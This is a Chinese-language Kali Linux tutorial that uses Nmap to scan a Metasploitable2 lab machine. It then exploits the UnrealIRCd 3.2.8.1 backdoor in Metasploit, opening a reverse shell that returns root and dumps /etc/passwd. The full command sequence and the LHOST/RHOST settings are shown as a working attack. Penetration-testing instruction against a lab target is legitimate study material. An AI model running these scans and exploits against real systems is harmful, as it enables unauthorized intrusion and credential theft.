Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap
网络扫描和嗅探工具——Nmap
Nmap也就网络映射器（Network Mapper），是一个免费开放的网络扫描和嗅探工具。该工具可以扫描主机是否在线、所开放的端口号、提供的网络服务及操作系统类型等。本节将介绍Nmap工具的使用。在使用Nmap工具之前，首先需要了解它的几种扫描类型。Nmap主要的扫描类型如表4-1所示。
表4-1 Nmap扫描类型
【实例4-1】使用nmap工具扫描目标主机192.168.6.105的端口号。执行命令如下所示：
- root@kali:~# nmap -sS -Pn 192.168.6.105
- Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-16 09:25 CST
- Nmap scan report for 192.168.6.105
- Host is up (0.00014s latency).
- Not shown: 977 closed ports
- PORT STATE SERVICE
- 21/tcp open ftp
- 22/tcp open ssh
- 23/tcp open telnet
- 25/tcp open smtp
- 53/tcp open domain
- 80/tcp open http
- 111/tcp open rpcbind
- 139/tcp open netbios-ssn
- 445/tcp open microsoft-ds
- 512/tcp open exec
- 513/tcp open login
- 514/tcp open shell
- 1099/tcp open rmiregistry
- 1524/tcp open ingreslock
- 2049/tcp open nfs
- 2121/tcp open ccproxy-ftp
- 3306/tcp open mysql
- 5432/tcp open postgresql
- 5900/tcp open vnc
- 6000/tcp open X11
- 6667/tcp open irc
- 8009/tcp open ajp13
- 8180/tcp open unknown
- MAC Address: 00:0C:29:13:E0:3D (VMware)
- Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds
以上输出信息显示了，目标主机192.168.6.105上开放的所有端口号及目标主机的信息，如目标主机的MAC地址、扫描共用了0.48秒。在以上命令中，-sS选项表示使用TCP SYN扫描；-Pn选项表示不进行ping扫描。这里使用TCP SYN扫描，是因为这种方式扫描速度非常快，并且不容易被目标主机发现。
如果用户想查看目标主机的所有启动服务及服务版本，可以指定Nmap工具的-A选项来实现。
【实例4-2】扫描目标主机192.168.6.105上所有的端口号和服务版本。执行命令如下所示：
- root@kali:~# nmap -sS -Pn -A 192.168.6.105
- Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-16 09:25 CST
- Nmap scan report for 192.168.6.105
- Host is up (0.00035s latency).
- Not shown: 977 closed ports
- PORT STATE SERVICE VERSION
- 21/tcp open ftp vsftpd 2.3.4
- |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
- 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
- | ssh-hostkey:
- | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
- |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
- 23/tcp open telnet Linux telnetd
- 25/tcp open smtp Postfix smtpd
- |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
- | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
- | Not valid before: 2010-03-17T14:07:45+00:00
- |_Not valid after: 2010-04-16T14:07:45+00:00
- |_ssl-date: 2014-07-09T06:59:06+00:00; -6d18h27m07s from local time.
- 53/tcp open domain ISC BIND 9.4.2
- | dns-nsid:
- |_ bind.version: 9.4.2
- 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
- |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
- |_http-title: Metasploitable2 – Linux
- ……
- 6667/tcp open irc Unreal ircd
- | irc-info:
- | server: irc.Metasploitable.LAN
- | version: Unreal3.2.8.1. irc.Metasploitable.LAN
- | servers: 1
- | users: 1
- | lservers: 0
- | lusers: 1
- | uptime: 0 days, 20:28:27
- | source host: 45DFBD5E.E9742FE6.FFFA6D49.IP
- |_ source ident: nmap
- 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
- |_ajp-methods: Failed to get a valid response for the OPTION request
- 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
- |_http-favicon: Apache Tomcat
- |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
- |_http-title: Apache Tomcat/5.5
- MAC Address: 00:0C:29:13:E0:3D (VMware)
- Device type: general purpose
- Running: Linux 2.6.X
- OS CPE: cpe:/o:linux:linux_kernel:2.6
- OS details: Linux 2.6.9 - 2.6.33
- Network Distance: 1 hop
- Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
- Host script results:
- |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
- | smb-os-discovery:
- | OS: Unix (Samba 3.0.20-Debian)
- | NetBIOS computer name:
- | Workgroup: WORKGROUP
- |_ System time: 2014-07-09T02:59:06-04:00
- TRACEROUTE
- HOP RTT ADDRESS
- 1 0.35 ms 192.168.6.105
- OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 25.58 seconds
从输出的信息中，可以看到目标主机上所启动的服务及服务软件版本。例如Unreal Internet Relay Chat（IRC）服务，它的版本是3.8.1。用户可以通过获取到服务的版本，进行攻击主机。下面将会以例子的形式介绍通过服务版本，攻击主机的方法。
【实例4-3】在MSF终端实现渗透攻击Unreal IRC服务。本例中选择使用Metasploit 2系统作为攻击目标，其地址为192.168.6.105。具体操作步骤如下所示：
（1）启动MSF终端。执行命令如下所示：
- root@kali:~# msfconsole
- msf>
执行以上命令后，看到msf>提示符表示已成功登录MSF终端。
（2）查询Unreal 3.2.8.1可利用的模块。执行命令如下所示：
- msf > search Unreal 3.2.8.1
- Matching Modules
- ================
- Name Disclosure Date Rank Description
- ---- --------------- --------------- ---------------------------
- exploit/linux/games/ut2004_secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Linux)
- exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution
- exploit/windows/games/ut2004_secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Win32)
从输出的信息中，可以看到有三个可利用的模块。本例中选择使用unreal_ircd_3281_backdoor模块，该模块的级别非常好。
（3）查看unreal_ircd_3281_backdoor模块，可渗透攻击的详细信息。执行命令如下所示：
- msf > info exploit/unix/irc/unreal_ircd_3281_backdoor
- Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
- Module: exploit/unix/irc/unreal_ircd_3281_backdoor
- Platform: Unix
- Privileged: No
- License: Metasploit Framework License (BSD)
- Rank: Excellent
- Provided by:
- hdm <hdm@metasploit.com>
- Available targets:
- Id Name
- -- ----
- 0 Automatic Target
- Basic options:
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 6667 yes The target port
- Payload information:
- Space: 1024
- Description:
- This module exploits a malicious backdoor that was added to the
- Unreal IRCD 3.2.8.1 download archive. This backdoor was present in
- the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th
- 2010.
- References:
- http://cvedetails.com/cve/2010-2075/
- http://www.osvdb.org/65445
- http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
从输出的信息中，可以看到关于unreal_ircd_3281_backdoor模块的详细信息。其中，包括模块支持的平台、权限、提供商、基本选项设置及描述信息等。
（4）选择使用unreal_ircd_3281_backdoor模块，并查看该模块可配置的选项参数。执行命令如下所示：
- msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
- msf exploit(unreal_ircd_3281_backdoor) > show options
- Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 6667 yes The target port
- Exploit target:
- Id Name
- -- ----
- 0 Automatic Target
从输出信息中，可以看到有两个必须配置的选项参数。其中RPORT选项已经配置，接下来还需要配置RHOST选项。
（5）配置RHOST选项参数。执行命令如下所示：
- msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.6.105
- RHOST => 192.168.6.105
从输出信息中，可以看到使用目标主机的地址为192.168.6.105。
（6）查看所有可利用的攻击载荷。执行命令如下所示：
- msf exploit(unreal_ircd_3281_backdoor) > show payloads
- Compatible Payloads
- ===================
- Name Disclosure Date Rank Description
- ------------------------------------ ------------------------ ------------- -----------------
- cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)
- cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6
- cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
- cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6
- cmd/unix/generic normal Unix Command, Generic Command Execution
- cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
- cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)
- cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)
- cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)
- cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)
- cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
输出的信息显示了，在unreal_ircd_3281_backdoor模块中可加载的攻击载荷。从输出模块的描述信息，可以看到这些攻击载荷都是命令行Shell。这样就不能进入Meterpreter shell了，而且现在只能使用反Shell。当成功攻击目标主机后，在终端Shell的权限也会降低。
（7）使用反Shell，攻击目标主机。选择加载reverse攻击载荷，并查看该载荷下可配置的选项参数。执行命令如下所示：
- msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
- payload => cmd/unix/reverse
- msf exploit(unreal_ircd_3281_backdoor) > show options
- Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST 192.168.6.105 yes The target address
- RPORT 6667 yes The target port
- Payload options (cmd/unix/reverse):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST yes The listen address
- LPORT 4444 yes The listen port
- Exploit target:
- Id Name
- -- ----
- 0 Automatic Target
从输出的结果中，可以看到LHOST选项参数未配置。
（8）配置LHOST选项参数。执行命令如下所示：
- msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.6.103
- LHOST => 192.168.6.103
执行以上命令后，再次查看所有选项参数的配置情况。执行命令如下所示：
- msf exploit(unreal_ircd_3281_backdoor) > show options
- Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST 192.168.6.105 yes The target address
- RPORT 6667 yes The target port
- Payload options (cmd/unix/reverse):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST 192.168.6.103 yes The listen address
- LPORT 4444 yes The listen port
- Exploit target:
- Id Name
- -- ----
- 0 Automatic Target
从输出的信息中，可以看到所有选项都以配置。接下来就可以进行攻击了。
（9）启动渗透攻击。执行命令如下所示：
- msf exploit(unreal_ircd_3281_backdoor) > exploit
- [*] Started reverse double handler
- [*] Connected to 192.168.6.105:6667...
- :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
- [*] Sending backdoor command...
- [*] Accepted the first client connection...
- [*] Accepted the second client connection...
- [*] Command: echo 4G58mrIzlfNG2zIm;
- [*] Writing to socket A
- [*] Writing to socket B
- [*] Reading from sockets...
- [*] Reading from socket B
- [*] B: "4G58mrIzlfNG2zIm "
- [*] Matching...
- [*] A is input...
- [*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:53656) at 2014-07-16 09:34:05 +0800
从输出的信息中，可以看到成功打开了一个会话。但是没有进入任何Shell的提示符，只有一个闪烁的光标。这表示连接到目标主机的一个终端Shell，此时可以执行任何标准的Linux命令。例如，查看目标系统当前登录的用户名，执行命令如下所示：
- whoami
执行以上命令后，将显示如下所示的信息：
- root
从输出的信息可以看到当前登录的用户是超级用户root。
如想查看目标系统的密码文件，执行命令如下所示：
- cat /etc/passwd
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/bin/sh
- bin:x:2:2:bin:/bin:/bin/sh
- sys:x:3:3:sys:/dev:/bin/sh
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/bin/sh
- man:x:6:12:man:/var/cache/man:/bin/sh
- lp:x:7:7:lp:/var/spool/lpd:/bin/sh
- mail:x:8:8:mail:/var/mail:/bin/sh
- news:x:9:9:news:/var/spool/news:/bin/sh
- uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
- proxy:x:13:13:proxy:/bin:/bin/sh
- www-data:x:33:33:www-data:/var/www:/bin/sh
- backup:x:34:34:backup:/var/backups:/bin/sh
- list:x:38:38:Mailing List Manager:/var/list:/bin/sh
- irc:x:39:39:ircd:/var/run/ircd:/bin/sh
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
- nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
- libuuid:x:100:101::/var/lib/libuuid:/bin/sh
- dhcp:x:101:102::/nonexistent:/bin/false
- syslog:x:102:103::/home/syslog:/bin/false
- klog:x:103:104::/home/klog:/bin/false
- sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
- msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
- bind:x:105:113::/var/cache/bind:/bin/false
- postfix:x:106:115::/var/spool/postfix:/bin/false
- ftp:x:107:65534::/home/ftp:/bin/false
- postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
- mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
- tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
- distccd:x:111:65534::/:/bin/false
- user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
- service:x:1002:1002:,,,:/home/service:/bin/bash
- telnetd:x:112:120::/nonexistent:/bin/false
- proftpd:x:113:65534::/var/run/proftpd:/bin/false
- statd:x:114:65534::/var/lib/nfs:/bin/false
- snmp:x:115:65534::/var/lib/snmp:/bin/false
输出信息显示了，目标系统中所有的用户信息。用户可以根据这些信息攻击目标主机上用户的密码。
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